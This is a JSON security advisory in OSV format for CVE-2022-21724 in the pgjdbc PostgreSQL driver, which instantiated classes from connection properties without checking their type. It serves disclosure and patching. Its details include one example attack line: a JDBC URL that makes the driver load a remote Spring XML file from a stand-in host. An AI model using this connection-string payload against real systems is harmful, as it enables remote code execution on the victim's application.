原始 OSV JSON{
"id": "GHSA-v7wg-cpwc-24m4",
"aliases": [
"CVE-2022-21724"
],
"details": "### Impact\n\npgjdbc instantiates plugin instances based on class names provided via `authenticationPluginClassName`, `sslhostnameverifier`, `socketFactory`, `sslfactory`, `sslpasswordcallback` connection properties.\n\nHowever, the driver did not verify if the class implements the expected interface before instantiating the class.\n\nHere's an example attack using an out-of-the-box class from Spring Framework:\n\n```\nDriverManager.getConnection(\"jdbc:postgresql://node1/test?socketFactory=org.springframework.context.support.ClassPathXmlApplicationContext&socketFactoryArg=http://target/exp.xml\");\n```\n\nThe first impacted version is REL9.4.1208 (it introduced `socketFactory` connection property)",
"summary": "pgjdbc Does Not Check Class Instantiation when providing Plugin Classes",
"affected": [
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "9.4.1208"
},
{
"fixed": "42.2.25"
}
]
}
],
"package": {
"name": "org.postgresql:postgresql",
"ecosystem": "Maven"
}
},
{
"ranges": [
{
"type": "ECOSYSTEM",
"events": [
{
"introduced": "42.3.0"
},
{
"fixed": "42.3.2"
}
]
}
],
"package": {
"name": "org.postgresql:postgresql",
"ecosystem": "Maven"
}
}
],
"modified": "2022-08-12T13:14:09Z",
"severity": [
{
"type": "CVSS_V3",
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H"
}
],
"published": "2022-02-02T00:04:20Z",
"references": [
{
"url": "https://github.com/pgjdbc/pgjdbc/security/advisories/GHSA-v7wg-cpwc-24m4",
"type": "WEB"
},
{
"url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21724",
"type": "ADVISORY"
},
{
"url": "https://github.com/pgjdbc/pgjdbc/commit/f4d0ed69c0b3aae8531d83d6af4c57f22312c813",
"type": "WEB"
},
{
"url": "https://github.com/pgjdbc/pgjdbc",
"type": "PACKAGE"
},
{
"url": "https://lists.debian.org/debian-lts-announce/2022/05/msg00027.html",
"type": "WEB"
},
{
"url": "https://lists.fedoraproject.org/archives/list/[email protected] /message/BVEO7BEFXPBVHSPYL3YKQWZI6DYXQLFS",
"type": "WEB"
},
{
"url": "https://security.netapp.com/advisory/ntap-20220311-0005",
"type": "WEB"
},
{
"url": "https://www.debian.org/security/2022/dsa-5196",
"type": "WEB"
}
],
"schema_version": "1.4.0",
"database_specific": {
"cwe_ids": [
"CWE-665",
"CWE-668",
"CWE-74"
],
"severity": "HIGH",
"github_reviewed": true,
"nvd_published_at": "2022-02-02T12:15:00Z",
"github_reviewed_at": "2022-02-01T22:40:00Z"
}
}